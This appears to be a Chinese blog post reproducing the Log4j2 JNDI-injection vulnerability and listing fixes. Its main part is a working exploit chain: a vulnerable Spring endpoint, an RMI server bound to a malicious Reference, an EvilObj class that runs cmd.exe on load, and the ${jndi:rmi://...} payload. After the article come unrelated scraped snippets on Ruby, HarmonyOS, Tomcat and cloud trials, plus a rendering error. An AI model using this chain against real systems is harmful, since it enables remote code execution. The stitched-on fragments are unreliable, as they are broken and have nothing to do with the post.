其实早就听闻log4j2的这个史诗级漏洞,当时也看了一遍视频,但自己一直都没有实践,这不摸鱼的时候突然发现,自己偶然创建的demo依赖中log4j2日志版本号好像挺老,突然就心血来潮想要复现一下当年的漏洞,尝试知道原理以及如何解决。
受影响版本 :2.x<=2.14.1
导入依赖:
当时我是直接是用的spring-boot-starter-log4j2,版本和父项目一致:2.3.0.RELEASE
父项目依赖:
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-dependencies</artifactId>
<version>2.3.0.RELEASE</version>
<type>pom</type>
<scope>import</scope>
</dependency>
</dependencies>
</dependencyManagement>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
可以从maven里面看到版本号为2.13.2,是有可能造成漏洞的

这块代码很正常,在一个非常普通的controller中建一个接口即可:
package com.mbw.controller;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class LearnController {
private static final Logger logger = LoggerFactory.getLogger(LearnController.class);
@PostMapping("/hack")
public String testHackExecute(String content){
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
logger.info("应用正常运行中。。。。。。。。。。。。。");
logger.info("content:{}", content);
return content;
}
}
大家可能会对下面这行代码感到疑惑
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
ps:jdk1.8.121之后都需要添加上面这行代码,这样就可以执行任意命令了。这个就涉及到JNDI和RMI有关,而这也是我们复现漏洞需要用到的。
我们需要先了解几个知识点:
RMI:
远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,比如:CORBA、WebService,这两种都是独立于编程语言的。而RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。在RMI中对象是通过序列化方式进行编码传输的。
通俗来讲,rmi是客户端调用服务器的方法,并在服务端执行后返回结果。与JNDI不同,JNDI注入攻击者是rmi的服务端。JDK1.8.121之前版本rmi本身就有反序列化漏洞。示例如下:
①先启动一个本地RMI
public class MainTest {
public static void main(String[] args) throws Exception {
// 在本机 1999 端口开启 rmi registry,可以通过 JNDI API 来访问此 rmi registry
Registry registry = LocateRegistry.createRegistry(1999);
// 创建一个 Reference,第一个参数无所谓,第二个参数指定 Object Factory 的类名:
// 第三个参数是 codebase,表明如果客户端在 classpath 里面找不到
// jndiinj.EvilObjectFactory,则去 http://localhost:9999/ 下载
// 当然利用的时候这里应该是一个真正的 codebase 的地址
Reference ref = new Reference("test",
"jndiinj.EvilObjectFactory", "http://localhost:9999/");
// 因为只有实现 Remote 接口的对象才能绑定到 rmi registry 里面去
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
registry.bind("evil", wrapper);
}
}
②连接本地客户端
public class LookupTest {
public static void main(String[] args) throws NamingException {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
Context ctx = new InitialContext();
// ctx.lookup 参数需要可控
Object lookup = ctx.lookup("rmi://localhost:1999/evil");
System.out.println(lookup);
}
}
简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。
String uri = "rmi://127.0.0.1:1099/aa";
Context ctx = new InitialContext();
ctx.lookup(uri);
这是指通过context对象访问远程rmi对象。整个过程如下:
InitialContext.lookup()调用栈为:
getURLOrDefaultInitCtx("aa");
getURLContext("aa");
RegistryContext.lookup("aa");
RegistryContext.decodeObject(referenceWrapper,"aa");
NamingManager.getObjectInstance();
factory.getObjectInstance(refInfo, name, nameCtx,environment);//创建恶意类对象
那么这样其实也就是log4j2触发漏洞的核心原因:
log4j2 官方文档也同样支持 Jndi Lookup

RMI 和 LDAP 是 JND I默认支持自动转换的协议:
| 协议名称 | 协议URL | Context类 |
|---|---|---|
| RMI协议 | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
| LDAP协议 | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
因为服务端传给客户端的是一个Reference对象,如果这个对象里没有factory和factoryLaction的话只会在客户端本地查找恶意类,但是恶意类是存放在远程的。
首先我们在本地搭建攻击者代码,当然一般情况下攻击类是在远程的,这里模拟就在本地搭建一个:
这个黑客要做的事很简单,就是打开一个dos窗口
package com.mbw.rmi;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import javax.swing.*;
import java.awt.*;
import java.io.File;
import java.io.IOException;
import java.util.Hashtable;
/**
* 在这里实现了ObjectFactory接口,主要是针对EvilObj类无法转换为ObjectFactory对象,其他Java版本中可能不存在这个问题
*/
public class EvilObj extends JFrame implements ObjectFactory {
static {
System.out.println("JNDI 触发 RMIServer,黑客要开始搞事情了");
// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCE
try {
Runtime.getRuntime()
.exec("cmd.exe /C start", null, new File("c:/"));
} catch (IOException e) {
e.printStackTrace();
}
}
/**
* @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。
* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。
* @param nameCtx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。
* @param environment 创建对象时使用的环境(可能为 null)。
* @return 对象工厂创建出的对象
* @throws Exception 对象创建异常
*/
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
然后在本地搭建一个RMI服务器:
package com.mbw.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String... args) {
try {
Registry registry = createRegistry(1099);
System.out.println("Create RMI registry on port 1099");
registry.bind("evil", createReferenceWrapper("com.mbw.rmi.EvilObj","com.mbw.rmi.EvilObj", "http://127.0.0.1:9090/"));
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
/**
* 监听端口 。
* @param port .
* @return .
* @throws RemoteException .
*/
private static Registry createRegistry(int port) throws RemoteException {
LocateRegistry.createRegistry(port);
return LocateRegistry.getRegistry();
}
/**
* 创建一个远程的 JNDI 对象工厂类的引用对象 ,
* 将其转化为 RMI 引用对象 。
* @param className .
* @param factory .
* @param factoryLocation .
* @return .
* @throws RemoteException .
* @throws NamingException .
*/
private static ReferenceWrapper createReferenceWrapper(String className, String factory, String factoryLocation) throws RemoteException, NamingException {
return new ReferenceWrapper(new Reference(className, factory, factoryLocation));
}
}
此时启动RMIServer,然后启动被攻击者服务:
我们假装黑客使用postman去调用被害者服务:
在被害者服务代码所需参数content输入${jndi:rmi://127.0.0.1:1099/evil}

可以看到漏洞复现,攻击者执行了被攻击者的代码,这是很可怕的事情。

Log4j的lookup功能
本次漏洞是因为Log4j2组件中 lookup功能的实现类 JndiLookup 的设计缺陷导致,这个类存在于log4j-core-xxx.jar中。

log4j的Lookups功能可以快速打印包括运行应用容器的docker属性,环境变量,日志事件,Java应用程序环境信息等内容。比如我们打印Java运行时版本:
public class VulnerabilityTest {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("Test:{}","${java:runtime}");
}
}
输出:

那么JndiLookup到底有什么设计缺陷导致出现的史诗级漏洞呢?
我们首先把目标放在org.apache.logging.log4j.core.pattern.MessagePatternConverter#format:
public void format(final LogEvent event, final StringBuilder toAppendTo) {
Message msg = event.getMessage();
if (msg instanceof StringBuilderFormattable) {
boolean doRender = this.textRenderer != null;
StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;
int offset = workingBuilder.length();
if (msg instanceof MultiFormatStringBuilderFormattable) {
((MultiFormatStringBuilderFormattable)msg).formatTo(this.formats, workingBuilder);
} else {
((StringBuilderFormattable)msg).formatTo(workingBuilder);
}
if (this.config != null && !this.noLookups) {
for(int i = offset; i < workingBuilder.length() - 1; ++i) {
if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
String value = workingBuilder.substring(offset, workingBuilder.length());
workingBuilder.setLength(offset);
workingBuilder.append(this.config.getStrSubstitutor().replace(event, value));
}
}
}
...
} else {
...
}
}
我们传入的message会通过MessagePatternConverter.format(),判断如果config存在并且noLookups为false(默认为false),然后匹配到KaTeX parse error: Expected '}', got 'EOF' at end of input: …)替换原有的字符串,比如这里的{java:runtime}。
因为这里没有任何的白名单,那么我们就可以构造任何的字符串,只有符合${就可以。
继续往下走,来到org.apache.logging.log4j.core.lookup.Interpolator#lookup

我们可以看到处理event的时候根据前缀选择对应的StrLookup进行处理,目前支持date,jndi,java,main等多种类型,如果构造的event是jndi,则通过JndiLoopup进行处理,从而构造漏洞。
2.4、解决方案
1.升级版本
我们可以使用maven helper插件查询log4j2,然后remove掉这些冲突的依赖

最后加上新的依赖,然后reimport就好了:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<exclusions>
<exclusion>
<artifactId>log4j-core</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
<exclusion>
<artifactId>log4j-slf4j-impl</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
<exclusion>
<artifactId>log4j-api</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
</exclusions>
</dependency>
<!-- 引入新版本log4j2 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.15.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.15.0</version>
<exclusions>
<exclusion>
<artifactId>log4j-api</artifactId>
<groupId>org.apache.logging.log4j</groupId>
</exclusion>
</exclusions>
</dependency>
2.临时方案
添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;
在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
部署使用第三方防火墙产品进行安全防护。
我正在使用的第三方API的文档状态:"[O]urAPIonlyacceptspaddedBase64encodedstrings."什么是“填充的Base64编码字符串”以及如何在Ruby中生成它们。下面的代码是我第一次尝试创建转换为Base64的JSON格式数据。xa=Base64.encode64(a.to_json) 最佳答案 他们说的padding其实就是Base64本身的一部分。它是末尾的“=”和“==”。Base64将3个字节的数据包编码为4个编码字符。所以如果你的输入数据有长度n和n%3=1=>"=="末尾用于填充n%
在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',
在应用开发中,有时候我们需要获取系统的设备信息,用于数据上报和行为分析。那在鸿蒙系统中,我们应该怎么去获取设备的系统信息呢,比如说获取手机的系统版本号、手机的制造商、手机型号等数据。1、获取方式这里分为两种情况,一种是设备信息的获取,一种是系统信息的获取。1.1、获取设备信息获取设备信息,鸿蒙的SDK包为我们提供了DeviceInfo类,通过该类的一些静态方法,可以获取设备信息,DeviceInfo类的包路径为:ohos.system.DeviceInfo.具体的方法如下:ModifierandTypeMethodDescriptionstatic StringgetAbiList()Obt
目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控
作为新的阿里云用户,您可以50免费试用多种优惠,价值高达1,700美元(或8,500美元)。这将让您了解和体验阿里云平台上提供的一系列产品和服务。如果您以个人身份注册免费试用,您将获得价值1,700美元的优惠。但是,如果您是注册公司,您可以选择企业免费试用,提交基本信息通过企业实名注册验证,即可开始价值$8,500的免费试用!本教程介绍了如何设置您的帐户并使用您的免费试用版。关于免费试用在我们开始此试用之前,您还必须遵守以下条款和条件才能访问您的免费试用:只有在一年内创建的账户才有资格获得阿里云免费试用。通过此免费试用优惠,用户可以免费试用免费试用活动页面上列出的每种产品一次。如果您有多个帐
我有一个应用程序正在从Ruby迁移到JRuby(由于需要通过Java提供更好的Web服务安全支持)。我使用的gem之一是daemons创建后台作业。问题在于它使用fork+exec来创建后台进程,但这对JRuby来说是禁忌。那么-是否有用于创建后台作业的替代gem/wrapper?我目前的想法是只从shell脚本调用rake并让rake任务永远运行......提前致谢,克里斯。更新我们目前正在使用几个与Java线程相关的包装器,即https://github.com/jmettraux/rufus-scheduler和https://github.com/philostler/acts
我想在heroku.com上查看我的应用程序日志的内容,所以我关注了thisexcellentadvice并拥有我所有的日志内容。但是我现在很想知道我的日志文件实际在哪里,因为“log/production.log”似乎是空的:C:\>herokuconsoleRubyconsoleforajpbrevx.heroku.com>>files=Dir.glob("*")=>["public","tmp","spec","Rakefile","doc","config.ru","app","config","lib","README","Gemfile.lock","vendor","sc
我的ruby脚本从命令行参数获取某些输入。它检查是否缺少任何命令行参数,然后提示用户输入。但是我无法使用gets从用户那里获得输入。示例代码:test.rbname=""ARGV.eachdo|a|ifa.include?('-n')name=aputs"Argument:#{a}"endendifname==""puts"entername:"name=getsputsnameend运行脚本:rubytest.rbraghav-k错误结果:test.rb:6:in`gets':Nosuchfileordirectory-raghav-k(Errno::ENOENT)fromtes
什么是0day漏洞?0day漏洞,是指已经被发现,但是还未被公开,同时官方还没有相关补丁的漏洞;通俗的讲,就是除了黑客,没人知道他的存在,其往往具有很大的突发性、破坏性、致命性。0day漏洞之所以称为0day,正是因为其补丁永远晚于攻击。所以攻击者利用0day漏洞攻击的成功率极高,往往可以达到目的并全身而退,而防守方却一无所知,只有在漏洞公布之后,才后知后觉,却为时已晚。“后知后觉、反应迟钝”就是当前安全防护面对0day攻击的真实写照!为了方便大家理解,中科三方为大家梳理当前安全防护模式下,一个漏洞从发现到解决的三个时间节点:T0:此时漏洞即0day漏洞,是已经被发现,还未被公开,官方还没有相
关闭。这个问题不符合StackOverflowguidelines.它目前不接受答案。要求我们推荐或查找工具、库或最喜欢的场外资源的问题对于StackOverflow来说是偏离主题的,因为它们往往会吸引自以为是的答案和垃圾邮件。相反,describetheproblem以及迄今为止为解决该问题所做的工作。关闭9年前。Improvethisquestion我想知道是否有人知道Ruby的rubyzip替代品,它可以处理各种格式,特别是zip/rar/7z?我知道libarchive,但它对我的目的来说并不完整(它是一个很好的gem)。(澄清一下,libarchive-对我不起作用-因为